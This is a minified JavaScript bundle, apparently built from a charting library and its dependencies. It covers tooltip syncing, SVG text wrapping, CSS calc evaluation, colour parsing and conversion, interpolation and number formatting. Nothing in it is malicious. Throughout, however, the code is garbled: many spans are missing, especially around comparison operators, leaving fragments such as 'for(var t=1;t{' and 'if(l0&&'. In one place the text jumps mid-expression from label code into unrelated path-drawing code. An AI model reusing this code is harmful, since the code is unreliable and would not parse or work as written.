x=p.payload.coordinate,{x:S,y:w}=x,O=Fee(x,Bee),{x:A,y:_,width:T,height:j}=p.payload.sourceViewBox,M=wl(wl({},O),{},{x:c.x+(T?(S-A)/T:0)*c.width,y:c.y+(j?(w-_)/j:0)*c.height});n(wl(wl({},p),{},{payload:wl(wl({},p.payload),{},{coordinate:M})}))}else n(p);return}if(i!=null){var P;if(typeof r=="function"){var R={activeTooltipIndex:p.payload.index==null?void 0:Number(p.payload.index),isTooltipActive:p.payload.active,activeIndex:p.payload.index==null?void 0:Number(p.payload.index),activeLabel:p.payload.label,activeDataKey:p.payload.dataKey,activeCoordinate:p.payload.coordinate},I=r(i,R);P=i[I]}else r==="value"&&(P=i.find(L=>String(L.value)===p.payload.label));var{coordinate:B}=p.payload;if(P==null||p.payload.active===!1||B==null||c==null){n(ub({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:q,y:U}=B,V=Math.min(q,c.x+c.width),oe=Math.min(U,c.y+c.height),le={x:l==="horizontal"?P.coordinate:V,y:l==="horizontal"?oe:P.coordinate},ce=ub({active:p.payload.active,coordinate:le,dataKey:p.payload.dataKey,index:String(P.index),label:p.payload.label,sourceViewBox:p.payload.sourceViewBox,graphicalItemId:p.payload.graphicalItemId});n(ce)}}};return zc.on(hb,f),()=>{zc.off(hb,f)}},[u,n,t,e,r,i,l,c])}function Yee(){var e=we(Jx),t=we(e1),n=ft();v.useEffect(()=>{if(e==null)return Gc;var r=(i,l,c)=>{t!==c&&e===i&&n(zee(l))};return zc.on(VN,r),()=>{zc.off(VN,r)}},[n,t,e])}function Gee(){var e=ft();v.useEffect(()=>{e(kee())},[e]),Kee(),Yee()}function Wee(e,t,n,r,i,l){var c=we(x=>nee(x,e,t)),u=we(e1),f=we(Jx),h=we(Dk),p=we(Lee),m=p?.active,y=up();v.useEffect(()=>{if(!m&&f!=null&&u!=null){var x=ub({active:l,coordinate:n,dataKey:c,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:y,graphicalItemId:void 0});zc.emit(hb,f,x,u)}},[m,n,c,i,r,u,f,h,l,y])}function GN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function WN(e){for(var t=1;t{R(ZQ({shared:_,trigger:T,axisId:P,active:i,defaultIndex:I}))},[R,_,T,P,i,I]);var B=up(),q=AD(),U=VQ(_),{activeIndex:V,isActive:oe}=(t=we(ee=>iee(ee,U,T,I)))!==null&&t!==void 0?t:{},le=we(ee=>aee(ee,U,T,I)),ce=we(ee=>DL(ee,U,T,I)),L=we(ee=>ree(ee,U,T,I)),F=le,$=Nee(),Z=(n=i??oe)!==null&&n!==void 0?n:!1,[de,D]=SV([F,Z]),X=U==="axis"?ce:void 0;Wee(U,T,L,X,V,Z);var ae=M??$;if(ae==null||B==null||U==null)return null;var se=F??XN;Z||(se=XN),h&&se.length&&(se=XF(se.filter(ee=>ee.value!=null&&(ee.hide!==!0||r.includeHidden)),y,Jee));var me=se.length>0,xe=v.createElement(FY,{allowEscapeViewBox:l,animationDuration:c,animationEasing:u,isAnimationActive:p,active:Z,coordinate:L,hasPayload:me,offset:m,position:x,reverseDirection:S,useTranslate3d:w,viewBox:B,wrapperStyle:O,lastBoundingBox:de,innerRef:D,hasPortalFromProps:!!M},ete(f,WN(WN({},r),{},{payload:se,label:X,active:Z,activeIndex:V,coordinate:L,accessibilityLayer:q})));return v.createElement(v.Fragment,null,So.createPortal(xe,ae),Z&&v.createElement(Tee,{cursor:A,tooltipEventType:U,coordinate:L,payload:se,index:V}))}var go=e=>null;go.displayName="Cell";function rte(e,t,n){return(t=ate(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function ate(e){var t=ite(e,"string");return typeof t=="symbol"?t:t+""}function ite(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class ote{constructor(t){rte(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function ZN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function lte(e){for(var t=1;t{try{var n=document.getElementById(JN);n||(n=document.createElement("span"),n.setAttribute("id",JN),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,dte,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},bc=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||mp.isSsr)return{width:0,height:0};if(!BL.enableCache)return e2(t,n);var r=hte(t,n),i=QN.get(r);if(i)return i;var l=e2(t,n);return QN.set(r,l),l},UL;function pte(e,t,n){return(t=mte(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function mte(e){var t=vte(e,"string");return typeof t=="symbol"?t:t+""}function vte(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var t2=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,n2=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,gte=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,yte=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,bte={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},xte=["cm","mm","pt","pc","in","Q","px"];function wte(e){return xte.includes(e)}var Al="NaN";function Ste(e,t){return e*bte[t]}class Jt{static parse(t){var n,[,r,i]=(n=yte.exec(t))!==null&&n!==void 0?n:[];return r==null?Jt.NaN:new Jt(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,Hr(t)&&(this.unit=""),n!==""&&!gte.test(n)&&(this.num=NaN,this.unit=""),wte(n)&&(this.num=Ste(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return Hr(this.num)}}UL=Jt;pte(Jt,"NaN",new UL(NaN,""));function HL(e){if(e==null||e.includes(Al))return Al;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,l]=(n=t2.exec(t))!==null&&n!==void 0?n:[],c=Jt.parse(r??""),u=Jt.parse(l??""),f=i==="*"?c.multiply(u):c.divide(u);if(f.isNaN())return Al;t=t.replace(t2,f.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var h,[,p,m,y]=(h=n2.exec(t))!==null&&h!==void 0?h:[],x=Jt.parse(p??""),S=Jt.parse(y??""),w=m==="+"?x.add(S):x.subtract(S);if(w.isNaN())return Al;t=t.replace(n2,w.toString())}return t}var r2=/\(([^()]*)\)/;function Ote(e){for(var t=e,n;(n=r2.exec(t))!=null;){var[,r]=n;t=t.replace(r2,HL(r))}return t}function Ete(e){var t=e.replace(/\s+/g,"");return t=Ote(t),t=HL(t),t}function Ate(e){try{return Ete(e)}catch{return Al}}function Fy(e){var t=Ate(e.slice(5,-1));return t===Al?"":t}var Cte=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],_te=["dx","dy","angle","className","breakAll"];function pb(){return pb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];Vt(t)||(n?i=t.toString().split(""):i=t.toString().split(qL));var l=i.map(u=>({word:u,width:bc(u,r).width})),c=n?0:bc(" ",r).width;return{wordsWithComputedWidth:l,spaceWidth:c}}catch{return null}};function Nte(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var VL=(e,t,n,r)=>e.reduce((i,l)=>{var{word:c,width:u}=l,f=i[i.length-1];if(f&&u!=null&&(t==null||r||f.width+u+ne.reduce((t,n)=>t.width>n.width?t:n),Mte="…",i2=(e,t,n,r,i,l,c,u)=>{var f=e.slice(0,t),h=FL({breakAll:n,style:r,children:f+Mte});if(!h)return[!1,[]];var p=VL(h.wordsWithComputedWidth,l,c,u),m=p.length>i||KL(p).width>Number(l);return[m,p]},jte=(e,t,n,r,i)=>{var{maxLines:l,children:c,style:u,breakAll:f}=e,h=Oe(l),p=String(c),m=VL(t,r,n,i);if(!h||i)return m;var y=m.length>l||KL(m).width>Number(r);if(!y)return m;for(var x=0,S=p.length-1,w=0,O;x<=S&&w<=p.length-1;){var A=Math.floor((x+S)/2),_=A-1,[T,j]=i2(p,_,f,u,l,r,n,i),[M]=i2(p,A,f,u,l,r,n,i);if(!T&&!M&&(x=A+1),T&&M&&(S=A-1),!T&&M){O=j;break}w++}return O||m},o2=e=>{var t=Vt(e)?[]:e.toString().split(qL);return[{words:t,width:void 0}]},Pte=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:l,maxLines:c}=e;if((t||n)&&!mp.isSsr){var u,f,h=FL({breakAll:l,children:r,style:i});if(h){var{wordsWithComputedWidth:p,spaceWidth:m}=h;u=p,f=m}else return o2(r);return jte({breakAll:l,children:r,maxLines:c,style:i},u,f,t,!!n)}return o2(r)},YL="#808080",Rte={angle:0,breakAll:!1,capHeight:"0.71em",fill:YL,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},kp=v.forwardRef((e,t)=>{var n=pn(e,Rte),{x:r,y:i,lineHeight:l,capHeight:c,fill:u,scaleToFit:f,textAnchor:h,verticalAnchor:p}=n,m=a2(n,Cte),y=v.useMemo(()=>Pte({breakAll:m.breakAll,children:m.children,maxLines:m.maxLines,scaleToFit:f,style:m.style,width:m.width}),[m.breakAll,m.children,m.maxLines,f,m.style,m.width]),{dx:x,dy:S,angle:w,className:O,breakAll:A}=m,_=a2(m,_te);if(!qr(r)||!qr(i)||y.length===0)return null;var T=Number(r)+(Oe(x)?x:0),j=Number(i)+(Oe(S)?S:0);if(!ht(T)||!ht(j))return null;var M;switch(p){case"start":M=Fy("calc(".concat(c,")"));break;case"middle":M=Fy("calc(".concat((y.length-1)/2," * -").concat(l," + (").concat(c," / 2))"));break;default:M=Fy("calc(".concat(y.length-1," * -").concat(l,")"));break}var P=[];if(f){var R=y[0].width,{width:I}=m;P.push("scale(".concat(Oe(I)&&Oe(R)?I/R:1,")"))}return w&&P.push("rotate(".concat(w,", ").concat(T,", ").concat(j,")")),P.length&&(_.transform=P.join(" ")),v.createElement("text",pb({},ur(_),{ref:t,x:T,y:j,className:Ye("recharts-text",O),textAnchor:h,fill:u.includes("url")?YL:u}),y.map((B,q)=>{var U=B.words.join(A?"":" ");return v.createElement("tspan",{x:T,dy:q===0?M:l,key:"".concat(U,"-").concat(q)},U)}))});kp.displayName="Text";var Dte=["labelRef"],kte=["content"];function l2(e,t){if(e==null)return{};var n,r,i=Lte(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var{x:t,y:n,upperWidth:r,lowerWidth:i,width:l,height:c,children:u}=e,f=v.useMemo(()=>({x:t,y:n,upperWidth:r,lowerWidth:i,width:l,height:c}),[t,n,r,i,l,c]);return v.createElement(GL.Provider,{value:f},u)},WL=()=>{var e=v.useContext(GL),t=up();return e||pD(t)},Ute=v.createContext(null),Hte=()=>{var e=v.useContext(Ute),t=we($k);return e||t},qte=e=>{var{value:t,formatter:n}=e,r=Vt(e.children)?t:e.children;return typeof n=="function"?n(r):r},I1=e=>e!=null&&typeof e=="function",Fte=(e,t)=>{var n=tn(t-e),r=Math.min(Math.abs(t-e),360);return n*r},Vte=(e,t,n,r,i)=>{var{offset:l,className:c}=e,{cx:u,cy:f,innerRadius:h,outerRadius:p,startAngle:m,endAngle:y,clockWise:x}=i,S=(h+p)/2,w=Fte(m,y),O=w>=0?1:-1,A,_;switch(t){case"insideStart":A=m+O*l,_=x;break;case"insideEnd":A=y-O*l,_=!x;break;case"end":A=y+O*l,_=x;break;default:throw new Error("Unsupported position ".concat(t))}_=w<=0?_:!_;var T=Nt(u,f,S,A),j=Nt(u,f,S,A+(_?1:-1)*359),M="M".concat(T.x,",").concat(T.y,` + A`,",",",0,0,",",",",","Z"])),R.x,R.y,l,l,+(p<0),P.x,P.y,r,r,+(B>180),+(p>0),T.x,T.y,l,l,+(p<0),j.x,j.y)}else _+=gt(BT||(BT=Zi(["L",",","Z"])),t,n);return _},YG={cx:0,cy:0,innerRadius:0,outerRadius:0,startAngle:0,endAngle:0,cornerRadius:0,forceCornerRadius:!1,cornerIsExternal:!1},DD=e=>{var t=pn(e,YG),{cx:n,cy:r,innerRadius:i,outerRadius:l,cornerRadius:c,forceCornerRadius:u,cornerIsExternal:f,startAngle:h,endAngle:p,className:m}=t;if(l0&&Math.abs(h-p)<360?w=KG({cx:n,cy:r,innerRadius:i,outerRadius:l,cornerRadius:Math.min(S,x/2),forceCornerRadius:u,cornerIsExternal:f,startAngle:h,endAngle:p}):w=RD({cx:n,cy:r,innerRadius:i,outerRadius:l,startAngle:h,endAngle:p}),v.createElement("path",J0({},ur(t),{className:y,d:w}))};function GG(e,t,n){if(e==="horizontal")return[{x:t.x,y:n.top},{x:t.x,y:n.top+n.height}];if(e==="vertical")return[{x:n.left,y:t.y},{x:n.left+n.width,y:t.y}];if(yR(t)){if(e==="centric"){var{cx:r,cy:i,innerRadius:l,outerRadius:c,angle:u}=t,f=Nt(r,i,l,u),h=Nt(r,i,c,u);return[{x:f.x,y:f.y},{x:h.x,y:h.y}]}return PD(t)}}var jy={},Py={},Ry={},UT;function WG(){return UT||(UT=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=NR();function n(r){return t.isSymbol(r)?NaN:Number(r)}e.toNumber=n})(Ry)),Ry}var HT;function XG(){return HT||(HT=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=WG();function n(r){return r?(r=t.toNumber(r),r===1/0||r===-1/0?(r<0?-1:1)*Number.MAX_VALUE:r===r?r:0):r===0?r:0}e.toFinite=n})(Py)),Py}var qT;function ZG(){return qT||(qT=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=MR(),n=XG();function r(i,l,c){c&&typeof c!="number"&&t.isIterateeCall(i,l,c)&&(l=c=void 0),i=n.toFinite(i),l===void 0?(l=i,i=0):l=n.toFinite(l),c=c===void 0?it?1:e>=t?0:NaN}function eW(e,t){return e==null||t==null?NaN:te?1:t>=e?0:NaN}function _x(e){let t,n,r;e.length!==2?(t=bi,n=(u,f)=>bi(e(u),f),r=(u,f)=>e(u)-f):(t=e===bi||e===eW?e:tW,n=e,r=e);function i(u,f,h=0,p=u.length){if(h>>1;n(u[m],f)<0?h=m+1:p=m}while(h>>1;n(u[m],f)<=0?h=m+1:p=m}while(hh&&r(u[m-1],f)>-r(u[m],f)?m-1:m}return{left:i,center:c,right:l}}function tW(){return 0}function LD(e){return e===null?NaN:+e}function*nW(e,t){for(let n of e)n!=null&&(n=+n)>=n&&(yield n)}const rW=_x(bi),tu=rW.right;_x(LD).center;class VT extends Map{constructor(t,n=oW){if(super(),Object.defineProperties(this,{_intern:{value:new Map},_key:{value:n}}),t!=null)for(const[r,i]of t)this.set(r,i)}get(t){return super.get(KT(this,t))}has(t){return super.has(KT(this,t))}set(t,n){return super.set(aW(this,t),n)}delete(t){return super.delete(iW(this,t))}}function KT({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):n}function aW({_intern:e,_key:t},n){const r=t(n);return e.has(r)?e.get(r):(e.set(r,n),n)}function iW({_intern:e,_key:t},n){const r=t(n);return e.has(r)&&(n=e.get(r),e.delete(r)),n}function oW(e){return e!==null&&typeof e=="object"?e.valueOf():e}function lW(e=bi){if(e===bi)return ID;if(typeof e!="function")throw new TypeError("compare is not a function");return(t,n)=>{const r=e(t,n);return r||r===0?r:(e(n,n)===0)-(e(t,t)===0)}}function ID(e,t){return(e==null||!(e>=e))-(t==null||!(t>=t))||(et?1:0)}const sW=Math.sqrt(50),cW=Math.sqrt(10),uW=Math.sqrt(2);function Qd(e,t,n){const r=(t-e)/Math.max(0,n),i=Math.floor(Math.log10(r)),l=r/Math.pow(10,i),c=l>=sW?10:l>=cW?5:l>=uW?2:1;let u,f,h;return i<0?(h=Math.pow(10,-i)/c,u=Math.round(e*h),f=Math.round(t*h),u/ht&&--f,h=-h):(h=Math.pow(10,i)*c,u=Math.round(e/h),f=Math.round(t/h),u*ht&&--f),f0))return[];if(e===t)return[e];const r=t=i))return[];const u=l-i+1,f=new Array(u);if(r)if(c<0)for(let h=0;h=r)&&(n=r);return n}function GT(e,t){let n;for(const r of e)r!=null&&(n>r||n===void 0&&r>=r)&&(n=r);return n}function zD(e,t,n=0,r=1/0,i){if(t=Math.floor(t),n=Math.floor(Math.max(0,n)),r=Math.floor(Math.min(e.length-1,r)),!(n<=t&&t<=r))return e;for(i=i===void 0?ID:lW(i);r>n;){if(r-n>600){const f=r-n+1,h=t-n+1,p=Math.log(f),m=.5*Math.exp(2*p/3),y=.5*Math.sqrt(p*m*(f-m)/f)*(h-f/2<0?-1:1),x=Math.max(n,Math.floor(t-h*m/f+y)),S=Math.min(r,Math.floor(t+(f-h)*m/f+y));zD(e,t,x,S,i)}const l=e[t];let c=n,u=r;for(lc(e,n,t),i(e[r],l)>0&&lc(e,n,r);c0;)--u}i(e[n],l)===0?lc(e,n,u):(++u,lc(e,u,r)),u<=t&&(n=u+1),t<=u&&(r=u-1)}return e}function lc(e,t,n){const r=e[t];e[t]=e[n],e[n]=r}function fW(e,t,n){if(e=Float64Array.from(nW(e)),!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return GT(e);if(t>=1)return YT(e);var r,i=(r-1)*t,l=Math.floor(i),c=YT(zD(e,l).subarray(0,l+1)),u=GT(e.subarray(l+1));return c+(u-c)*(i-l)}}function dW(e,t,n=LD){if(!(!(r=e.length)||isNaN(t=+t))){if(t<=0||r<2)return+n(e[0],0,e);if(t>=1)return+n(e[r-1],r-1,e);var r,i=(r-1)*t,l=Math.floor(i),c=+n(e[l],l,e),u=+n(e[l+1],l+1,e);return c+(u-c)*(i-l)}}function hW(e,t,n){e=+e,t=+t,n=(i=arguments.length)<2?(t=e,e=0,1):i<3?1:+n;for(var r=-1,i=Math.max(0,Math.ceil((t-e)/n))|0,l=new Array(i);++r>8&15|t>>4&240,t>>4&15|t&240,(t&15)<<4|t&15,1):n===8?td(t>>24&255,t>>16&255,t>>8&255,(t&255)/255):n===4?td(t>>12&15|t>>8&240,t>>8&15|t>>4&240,t>>4&15|t&240,((t&15)<<4|t&15)/255):null):(t=vW.exec(e))?new En(t[1],t[2],t[3],1):(t=gW.exec(e))?new En(t[1]*255/100,t[2]*255/100,t[3]*255/100,1):(t=yW.exec(e))?td(t[1],t[2],t[3],t[4]):(t=bW.exec(e))?td(t[1]*255/100,t[2]*255/100,t[3]*255/100,t[4]):(t=xW.exec(e))?tN(t[1],t[2]/100,t[3]/100,1):(t=wW.exec(e))?tN(t[1],t[2]/100,t[3]/100,t[4]):WT.hasOwnProperty(e)?QT(WT[e]):e==="transparent"?new En(NaN,NaN,NaN,0):null}function QT(e){return new En(e>>16&255,e>>8&255,e&255,1)}function td(e,t,n,r){return r<=0&&(e=t=n=NaN),new En(e,t,n,r)}function EW(e){return e instanceof nu||(e=kc(e)),e?(e=e.rgb(),new En(e.r,e.g,e.b,e.opacity)):new En}function ab(e,t,n,r){return arguments.length===1?EW(e):new En(e,t,n,r??1)}function En(e,t,n,r){this.r=+e,this.g=+t,this.b=+n,this.opacity=+r}Mx(En,ab,BD(nu,{brighter(e){return e=e==null?Jd:Math.pow(Jd,e),new En(this.r*e,this.g*e,this.b*e,this.opacity)},darker(e){return e=e==null?Rc:Math.pow(Rc,e),new En(this.r*e,this.g*e,this.b*e,this.opacity)},rgb(){return this},clamp(){return new En(to(this.r),to(this.g),to(this.b),eh(this.opacity))},displayable(){return-.5<=this.r&&this.r<255.5&&-.5<=this.g&&this.g<255.5&&-.5<=this.b&&this.b<255.5&&0<=this.opacity&&this.opacity<=1},hex:JT,formatHex:JT,formatHex8:AW,formatRgb:eN,toString:eN}));function JT(){return`#${Qi(this.r)}${Qi(this.g)}${Qi(this.b)}`}function AW(){return`#${Qi(this.r)}${Qi(this.g)}${Qi(this.b)}${Qi((isNaN(this.opacity)?1:this.opacity)*255)}`}function eN(){const e=eh(this.opacity);return`${e===1?"rgb(":"rgba("}${to(this.r)}, ${to(this.g)}, ${to(this.b)}${e===1?")":`, ${e})`}`}function eh(e){return isNaN(e)?1:Math.max(0,Math.min(1,e))}function to(e){return Math.max(0,Math.min(255,Math.round(e)||0))}function Qi(e){return e=to(e),(e<16?"0":"")+e.toString(16)}function tN(e,t,n,r){return r<=0?e=t=n=NaN:n<=0||n>=1?e=t=NaN:t<=0&&(e=NaN),new wr(e,t,n,r)}function UD(e){if(e instanceof wr)return new wr(e.h,e.s,e.l,e.opacity);if(e instanceof nu||(e=kc(e)),!e)return new wr;if(e instanceof wr)return e;e=e.rgb();var t=e.r/255,n=e.g/255,r=e.b/255,i=Math.min(t,n,r),l=Math.max(t,n,r),c=NaN,u=l-i,f=(l+i)/2;return u?(t===l?c=(n-r)/u+(n0&&f<1?0:c,new wr(c,u,f,e.opacity)}function CW(e,t,n,r){return arguments.length===1?UD(e):new wr(e,t,n,r??1)}function wr(e,t,n,r){this.h=+e,this.s=+t,this.l=+n,this.opacity=+r}Mx(wr,CW,BD(nu,{brighter(e){return e=e==null?Jd:Math.pow(Jd,e),new wr(this.h,this.s,this.l*e,this.opacity)},darker(e){return e=e==null?Rc:Math.pow(Rc,e),new wr(this.h,this.s,this.l*e,this.opacity)},rgb(){var e=this.h%360+(this.h<0)*360,t=isNaN(e)||isNaN(this.s)?0:this.s,n=this.l,r=n+(n<.5?n:1-n)*t,i=2*n-r;return new En(ky(e>=240?e-240:e+120,i,r),ky(e,i,r),ky(e<120?e+240:e-120,i,r),this.opacity)},clamp(){return new wr(nN(this.h),nd(this.s),nd(this.l),eh(this.opacity))},displayable(){return(0<=this.s&&this.s<=1||isNaN(this.s))&&0<=this.l&&this.l<=1&&0<=this.opacity&&this.opacity<=1},formatHsl(){const e=eh(this.opacity);return`${e===1?"hsl(":"hsla("}${nN(this.h)}, ${nd(this.s)*100}%, ${nd(this.l)*100}%${e===1?")":`, ${e})`}`}}));function nN(e){return e=(e||0)%360,e<0?e+360:e}function nd(e){return Math.max(0,Math.min(1,e||0))}function ky(e,t,n){return(e<60?t+(n-t)*e/60:e<180?n:e<240?t+(n-t)*(240-e)/60:t)*255}const jx=e=>()=>e;function _W(e,t){return function(n){return e+n*t}}function TW(e,t,n){return e=Math.pow(e,n),t=Math.pow(t,n)-e,n=1/n,function(r){return Math.pow(e+r*t,n)}}function NW(e){return(e=+e)==1?HD:function(t,n){return n-t?TW(t,n,e):jx(isNaN(t)?n:t)}}function HD(e,t){var n=t-e;return n?_W(e,n):jx(isNaN(e)?t:e)}const rN=(function e(t){var n=NW(t);function r(i,l){var c=n((i=ab(i)).r,(l=ab(l)).r),u=n(i.g,l.g),f=n(i.b,l.b),h=HD(i.opacity,l.opacity);return function(p){return i.r=c(p),i.g=u(p),i.b=f(p),i.opacity=h(p),i+""}}return r.gamma=e,r})(1);function MW(e,t){t||(t=[]);var n=e?Math.min(t.length,e.length):0,r=t.slice(),i;return function(l){for(i=0;in&&(l=t.slice(n,l),u[c]?u[c]+=l:u[++c]=l),(r=r[0])===(i=i[0])?u[c]?u[c]+=i:u[++c]=i:(u[++c]=null,f.push({i:c,x:th(r,i)})),n=Ly.lastIndex;return nt&&(n=e,e=t,t=n),function(r){return Math.max(e,Math.min(t,r))}}function UW(e,t,n){var r=e[0],i=e[1],l=t[0],c=t[1];return i2?HW:UW,f=h=null,m}function m(y){return y==null||isNaN(y=+y)?l:(f||(f=u(e.map(r),t,n)))(r(c(y)))}return m.invert=function(y){return c(i((h||(h=u(t,e.map(r),th)))(y)))},m.domain=function(y){return arguments.length?(e=Array.from(y,nh),p()):e.slice()},m.range=function(y){return arguments.length?(t=Array.from(y),p()):t.slice()},m.rangeRound=function(y){return t=Array.from(y),n=Px,p()},m.clamp=function(y){return arguments.length?(c=y?!0:un,p()):c!==un},m.interpolate=function(y){return arguments.length?(n=y,p()):n},m.unknown=function(y){return arguments.length?(l=y,m):l},function(y,x){return r=y,i=x,p()}}function Rx(){return yp()(un,un)}function qW(e){return Math.abs(e=Math.round(e))>=1e21?e.toLocaleString("en").replace(/,/g,""):e.toString(10)}function rh(e,t){if((n=(e=t?e.toExponential(t-1):e.toExponential()).indexOf("e"))<0)return null;var n,r=e.slice(0,n);return[r.length>1?r[0]+r.slice(2):r,+e.slice(n+1)]}function Ll(e){return e=rh(Math.abs(e)),e?e[1]:NaN}function FW(e,t){return function(n,r){for(var i=n.length,l=[],c=0,u=e[0],f=0;i>0&&u>0&&(f+u+1>r&&(u=Math.max(1,r-f)),l.push(n.substring(i-=u,i+u)),!((f+=u+1)>r));)u=e[c=(c+1)%e.length];return l.reverse().join(t)}}function VW(e){return function(t){return t.replace(/[0-9]/g,function(n){return e[+n]})}}var KW=/^(?:(.)?([<>=^]))?([+\-( ])?([$#])?(0)?(\d+)?(,)?(\.\d+)?(~)?([a-z%])?$/i;function Lc(e){if(!(t=KW.exec(e)))throw new Error("invalid format: "+e);var t;return new Dx({fill:t[1],align:t[2],sign:t[3],symbol:t[4],zero:t[5],width:t[6],comma:t[7],precision:t[8]&&t[8].slice(1),trim:t[9],type:t[10]})}Lc.prototype=Dx.prototype;function Dx(e){this.fill=e.fill===void 0?" ":e.fill+"",this.align=e.align===void 0?">":e.align+"",this.sign=e.sign===void 0?"-":e.sign+"",this.symbol=e.symbol===void 0?"":e.symbol+"",this.zero=!!e.zero,this.width=e.width===void 0?void 0:+e.width,this.comma=!!e.comma,this.precision=e.precision===void 0?void 0:+e.precision,this.trim=!!e.trim,this.type=e.type===void 0?"":e.type+""}Dx.prototype.toString=function(){return this.fill+this.align+this.sign+this.symbol+(this.zero?"0":"")+(this.width===void 0?"":Math.max(1,this.width|0))+(this.comma?",":"")+(this.precision===void 0?"":"."+Math.max(0,this.precision|0))+(this.trim?"~":"")+this.type};function YW(e){e:for(var t=e.length,n=1,r=-1,i;n0&&(r=0);break}return r>0?e.slice(0,r)+e.slice(i+1):e}var qD;function GW(e,t){var n=rh(e,t);if(!n)return e+"";var r=n[0],i=n[1],l=i-(qD=Math.max(-8,Math.min(8,Math.floor(i/3)))*3)+1,c=r.length;return l===c?r:l>c?r+new Array(l-c+1).join("0"):l>0?r.slice(0,l)+"."+r.slice(l):"0."+new Array(1-l).join("0")+rh(e,Math.max(0,t+l-1))[0]}function iN(e,t){var n=rh(e,t);if(!n)return e+"";var r=n[0],i=n[1];return i<0?"0."+new Array(-i).join("0")+r:r.length>i+1?r.slice(0,i+1)+"."+r.slice(i+1):r+new Array(i-r.length+2).join("0")}const oN={"%":(e,t)=>(e*100).toFixed(t),b:e=>Math.round(e).toString(2),c:e=>e+"",d:qW,e:(e,t)=>e.toExponential(t),f:(e,t)=>e.toFixed(t),g:(e,t)=>e.toPrecision(t),o:e=>Math.round(e).toString(8),p:(e,t)=>iN(e*100,t),r:iN,s:GW,X:e=>Math.round(e).toString(16).toUpperCase(),x:e=>Math.round(e).toString(16)};function lN(e){return e}var sN=Array.prototype.map,cN=["y","z","a","f","p","n","µ","m","","k","M","G","T","P","E","Z","Y"];function WW(e){var t=e.grouping===void 0||e.thousands===void 0?lN:FW(sN.call(e.grouping,Number),e.thousands+""),n=e.currency===void 0?"":e.currency[0]+"",r=e.currency===void 0?"":e.currency[1]+"",i=e.decimal===void 0?".":e.decimal+"",l=e.numerals===void 0?lN:VW(sN.call(e.numerals,String)),c=e.percent===void 0?"%":e.percent+"",u=e.minus===void 0?"−":e.minus+"",f=e.nan===void 0?"NaN":e.nan+"";function h(m){m=Lc(m);var y=m.fill,x=m.align,S=m.sign,w=m.symbol,O=m.zero,A=m.width,_=m.comma,T=m.precision,j=m.trim,M=m.type;M==="n"?(_=!0,M="g"):oN[M]||(T===void 0&&(T=12),j=!0,M="g"),(O||y==="0"&&x==="=")&&(O=!0,y="0",x="=");var 